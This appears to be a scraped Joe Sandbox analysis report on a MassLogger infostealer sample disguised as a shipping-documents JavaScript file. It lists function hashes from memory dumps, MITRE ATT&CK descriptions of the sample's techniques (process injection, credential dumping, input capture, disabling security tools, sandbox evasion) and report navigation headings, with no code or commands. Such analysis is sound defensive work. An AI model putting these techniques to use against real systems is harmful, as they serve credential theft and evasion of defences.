API String ID:
Opcode ID: 3c08fada9e47e50948307646d08be8d49d5a505b216fdb08f99d3742016ea872
Instruction ID: 7dca481d970ee54c0a0ba5a09d3fed432e5e3cc366722ce167b55465636876ed
Opcode Fuzzy Hash: 3c08fada9e47e50948307646d08be8d49d5a505b216fdb08f99d3742016ea872
Instruction Fuzzy Hash: 5931A37442262A9FD2692F32A6AD27A7BB4FB4F3137486D01E54EC051A9B7A3844CF50

Function 026BB869 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a041464b0af69d53e366cb7c489801205281b8addaf1d961fcca96dd998828a
Instruction ID: b5e2353bb931d3ecfc43f9e2d277ae5f2746013fdf8b246c4e37f230dec52e33
Opcode Fuzzy Hash: 5a041464b0af69d53e366cb7c489801205281b8addaf1d961fcca96dd998828a
Instruction Fuzzy Hash: 69311B35B001098FCB46EBA8C480EDD7BB2EF88324F595595E501EB365CB71EC85CBA0

Function 026BB89D Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d2a7561a93cd29f07e0d09bc9e4c26f98ef80633204d3647ecf92a0f0299e30
Instruction ID: 2df9a36cf43d2f5e45a505406d7f9a38d0417f82c4f9db747a217a222c9309fa
Opcode Fuzzy Hash: 2d2a7561a93cd29f07e0d09bc9e4c26f98ef80633204d3647ecf92a0f0299e30
Instruction Fuzzy Hash: 04313B35B001098FCB46EBA8C480EDD7BB2EF88324F595594E501EB366CB71EC85CBA0

Function 026BBDE8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5733444efeae41842c5264cfa2e23f18d38c9d3f8f23c7404ebae104d585fcd
Instruction ID: 0fe51464faaaae2dd196c7157e5903bb31906b3444f4d547ab9fa9e32b0130d9
Opcode Fuzzy Hash: a5733444efeae41842c5264cfa2e23f18d38c9d3f8f23c7404ebae104d585fcd
Instruction Fuzzy Hash: ED31A2347001099FCB09EF79C951A6EBBB6FF88354F248069E9069B361DF359E46CB90

Function 00C1D005 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506030292.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c1d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07ce7fc661c8ea20563dfb5e4dda490693df44d10df9730afe697304d0a66651
Instruction ID: 70cb2769c87be7d423b3496ff580fbb3aae5261a8d03a232191052bad95920bf
Opcode Fuzzy Hash: 07ce7fc661c8ea20563dfb5e4dda490693df44d10df9730afe697304d0a66651
Instruction Fuzzy Hash: 7D31597550D3C49FCB138B24C990711BF71AB47214F29C5EBD8898B2A3C23A984ADB62

Function 026B18C8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7552241a58fdf28ab1c371d37cc55b26a93484592893fad2903ffcc00c905e74
Instruction ID: 6b1d564c5597bffcea5a42a4b09c2486c93c686e9f26e4de5708ac50408a46a4
Opcode Fuzzy Hash: 7552241a58fdf28ab1c371d37cc55b26a93484592893fad2903ffcc00c905e74
Instruction Fuzzy Hash: 1C21B031A00216EFCF55EBA4C4509EE37A5EFCE260B60C499D90D9B340DB30EA46CB81

Function 00C1D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506030292.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c1d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e02ecc4eff90ad912972ad98f8875e5e865a271d95e60b72acec9c59020617c9
Instruction ID: 074bcef35d3ac754d923a32dc8c5136b5c71ed20671b41f61e893ae1b61a312f
Opcode Fuzzy Hash: e02ecc4eff90ad912972ad98f8875e5e865a271d95e60b72acec9c59020617c9
Instruction Fuzzy Hash: 7D213475504200DFCB15DF18D9C0B26BBA1FB89314F34C66DE80A0B296C33AD887DA62

Function 026B0EC8 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c93aaa9e33afab52c7d783bf6064eee4c67c4d78984b49ae496c29bae195d1
Instruction ID: e3022ccd12242109469e6ec71216cbd8b135386270926ea0b505a9912ec8cf31
Opcode Fuzzy Hash: e2c93aaa9e33afab52c7d783bf6064eee4c67c4d78984b49ae496c29bae195d1
Instruction Fuzzy Hash: B4214F74A04208EFDB0AEFB8D4446AEBBB6EF86708F1084ED94149B355DB748A85CF51

Function 026B17B8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d4d8fe1781489e44b856e2fc7feeb2cd1ddc2155233d248570d50c78235ef2
Instruction ID: b5dc9f064d8be74ea0234c2469efb5f1ccdcf33245324855e05bc2bd1c4799b6
Opcode Fuzzy Hash: a6d4d8fe1781489e44b856e2fc7feeb2cd1ddc2155233d248570d50c78235ef2
Instruction Fuzzy Hash: 36210371C05249CFCB42DFA8C8545EEBFB0BF4A200F0445AAD405FB222EB344A85CBA5

Function 026BBB48 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e3277ee539c33861cdba58851f7b91b155a44555a7ec1c486c14837bdc62c78
Instruction ID: 00478a8983ff4ae951e0e8dfd69c8f62edccdd1fb4115704ed55ef29b0507814
Opcode Fuzzy Hash: 5e3277ee539c33861cdba58851f7b91b155a44555a7ec1c486c14837bdc62c78
Instruction Fuzzy Hash: F8113A36300214CFD715DB69D984EA6B7E6EF88725F2084AAE6498B365CF71EC44CB50

Function 026B4850 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85369191242ea3d258623b54a2822403b5461ec8a4db28c6e6cc8abe5083c3c4
Instruction ID: a9b2c6e8bd1e9c7f09449538e1c7d4f6b9dbb7efff778b17a7cddb5a8b847e03
Opcode Fuzzy Hash: 85369191242ea3d258623b54a2822403b5461ec8a4db28c6e6cc8abe5083c3c4
Instruction Fuzzy Hash: F701F532F002818FDF155AB988546BE7BEAAFC8228751443ADA05CB316EF30CC018761

Function 026B0E98 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0842d3c0c696f85d19c3615aabe0057d71c7d2ce2a0f7c2ed6c8958d676d2e0
Instruction ID: 8c328c7966321a464bc3bdfd23f7a40cc7cfbdf6e3a6306994b32060e43f8eda
Opcode Fuzzy Hash: c0842d3c0c696f85d19c3615aabe0057d71c7d2ce2a0f7c2ed6c8958d676d2e0
Instruction Fuzzy Hash: 09115B70A04248DFCB16EFB4D0506EEBBB6EF86308F1084E9D8455B796CB785989CF91

Function 026BBB37 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c6722a1138dbad030357e794274dd5ea46730084b8936352e5bbf1100c7a93b
Instruction ID: 30bc553132572fbab10bc2f7a45a9a26db19512a05c54032133eff3b5569cc7e
Opcode Fuzzy Hash: 1c6722a1138dbad030357e794274dd5ea46730084b8936352e5bbf1100c7a93b
Instruction Fuzzy Hash: 8F118B31300200CFD715CB2AD984BA677E5EF88729F2080A9E5498B364CF71EC40CB10

Function 026B4860 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd9cb217ca6931076c83fdb459be6b331ba895027ea76c8801f75e44b5a70c76
Instruction ID: 69af9c2204a4337f4fe85910ad26c1954c23733f7f1c9c16b9ca5bb90191cd91
Opcode Fuzzy Hash: fd9cb217ca6931076c83fdb459be6b331ba895027ea76c8801f75e44b5a70c76
Instruction Fuzzy Hash: 9401D632F002518FDF15ABB9885466F7AEBAFC8568350443EDA05CB315FF70C80087A1

Function 026BA508 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daaffd3ae960914ebc9d589d6b119fe5489d29fc2175f248fd86b5af42d4b2f9
Instruction ID: a7e4a8ee2583e61b7d0aa03a4e0a7e2a160553c9ed0ac8ad3840a4915942d84b
Opcode Fuzzy Hash: daaffd3ae960914ebc9d589d6b119fe5489d29fc2175f248fd86b5af42d4b2f9
Instruction Fuzzy Hash: D1014075A102099FCB64AFA9D9445AE7BB5FF88311B004439E91697341DB359D10CBA1

Function 026BA4F9 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49ab13cdb7bd0886f20c3e7884f2aa37137543cf99529603506d2ee992c675ab
Instruction ID: 64cc4655f6802466916cc034fd40ffd8ebf634358da342de16fc1c1e38ea2ee5
Opcode Fuzzy Hash: 49ab13cdb7bd0886f20c3e7884f2aa37137543cf99529603506d2ee992c675ab
Instruction Fuzzy Hash: 4A017C72A0020A9FCB65DFB9E9549EE7FB5FF88311B10402AE919D3240DB354E10CB91

Function 026BBEF8 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af608bafbacbb8e38feb3830d09c5dc56cf1ab2a6b910a543e91472137a99717
Instruction ID: 98343dd6ccb116686aed8c201fe3343b7a5e90cf4937d6de5775280a9dbc40cc
Opcode Fuzzy Hash: af608bafbacbb8e38feb3830d09c5dc56cf1ab2a6b910a543e91472137a99717
Instruction Fuzzy Hash: D3F0C8317002445BCB152A75D90957E3F9AEBC9715B14442AEA06C7341DE3ACC42D790

Function 026BC1B0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f3e7d078eb56576f0be1c62c0756d8094ca7ecf1470db08fd93b673f0a5c2c
Instruction ID: 30989d1922606af3db94fde2d8fcb457b27bb0229ee21b71881914930d1e2d82
Opcode Fuzzy Hash: b4f3e7d078eb56576f0be1c62c0756d8094ca7ecf1470db08fd93b673f0a5c2c
Instruction Fuzzy Hash: E8F0A032B006159FCB1A566AE4149AEB7AAEFC5735714407BE509EB350CF32DC428BA4

Function 026BB9EB Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4aa5eecf17c43c18cb9454ad39e6e782dc327513a08104b8558c00243303df
Instruction ID: ffd8f1041d4c7e3dd8056eaf446ee2dcf0bcc5927c5c58b101b72b475e51dc51
Opcode Fuzzy Hash: cf4aa5eecf17c43c18cb9454ad39e6e782dc327513a08104b8558c00243303df
Instruction Fuzzy Hash: 39F0BB75A00108AF8751DF6ED841ADFBBF6FF88354B44452AE505E3301D7709511CBE5

Function 026B46C9 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1316b15d81320af5ea5df62ea26ca124ab4225b70ab8df24389df000e05ca6
Instruction ID: ae4ce8b52be654992be49e902eaff01f7f57cec9e9318ecaeee7ea7fabd58eb9
Opcode Fuzzy Hash: da1316b15d81320af5ea5df62ea26ca124ab4225b70ab8df24389df000e05ca6
Instruction Fuzzy Hash: 17F0A571466B42CFE3512B20ACAD3EE7F32FB8B317B44AC81E00A85172DF3404458BA5

Function 026BB9F8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83b17660473754183b920b3f51fccda9423dbdf535071e6c9cc6886636c5b5d6
Instruction ID: 8991c5b3aa22f2087d7cf6a98ee677745144ee0924674c5765e3f7782c9da111
Opcode Fuzzy Hash: 83b17660473754183b920b3f51fccda9423dbdf535071e6c9cc6886636c5b5d6
Instruction Fuzzy Hash: 90F08271A002089F8B51DFADD8409EFBBF6FF88350B44452AD609E3301EA709915CBE5

Function 026B46D8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7b25fae68c1c8e6d530542a50860aa270e6215878d334b0235a8f3484d2d17f
Instruction ID: fcbed21b2b365a11acdc4218440ff981c643de9b21f3ecb8366a691e8f8ffcdf
Opcode Fuzzy Hash: a7b25fae68c1c8e6d530542a50860aa270e6215878d334b0235a8f3484d2d17f
Instruction Fuzzy Hash: BDE00975466B46CFE6146B74ADAC3BEBA76FB8B317B80AD10B00E81131DF7444948A94

Function 026B1877 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be89c552d760f1fa42b2924efc367a16906fd3a264ce024c3da9dfd8198d9828
Instruction ID: 39cc57a1f135df313cfea2d3e401ee1c74c62649b5b90774eccac8d0507e0cde
Opcode Fuzzy Hash: be89c552d760f1fa42b2924efc367a16906fd3a264ce024c3da9dfd8198d9828
Instruction Fuzzy Hash: 56E0DF31E143AACACF02BBB0A8004EDBB34AEC2210B5A4597C064761A1EA30165DCBA2

Function 026B1888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a41bb6c036705bc09c86a22bb0ae3761106a237ea17ede525a0396df6fc74a
Instruction ID: d710834d381a1695c3e8593ad08df67f8b65af633aa7a0c263548478e8752e7d
Opcode Fuzzy Hash: a8a41bb6c036705bc09c86a22bb0ae3761106a237ea17ede525a0396df6fc74a
Instruction Fuzzy Hash: BFD01231D2032A968B00A6E5DC044DEB738EED5261B914626D51437140EB70265986A1

Function 026B4830 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2506743042.00000000026B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_26b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbda6efb0224b6bf69a5cffdada026c74c6bccb1d828027464156522ccf110b5
Instruction ID: 3d14d149646623c040fa0644d8f59ff27c6e58f2a05de579eab07bb28e3c05f5
Opcode Fuzzy Hash: cbda6efb0224b6bf69a5cffdada026c74c6bccb1d828027464156522ccf110b5
Instruction Fuzzy Hash: 7CC04CE491D3C15EDF2B573465750597F70AD46344F1558DED082C6093DA2681158B17

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Shipping Documents SI 694_pdf.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

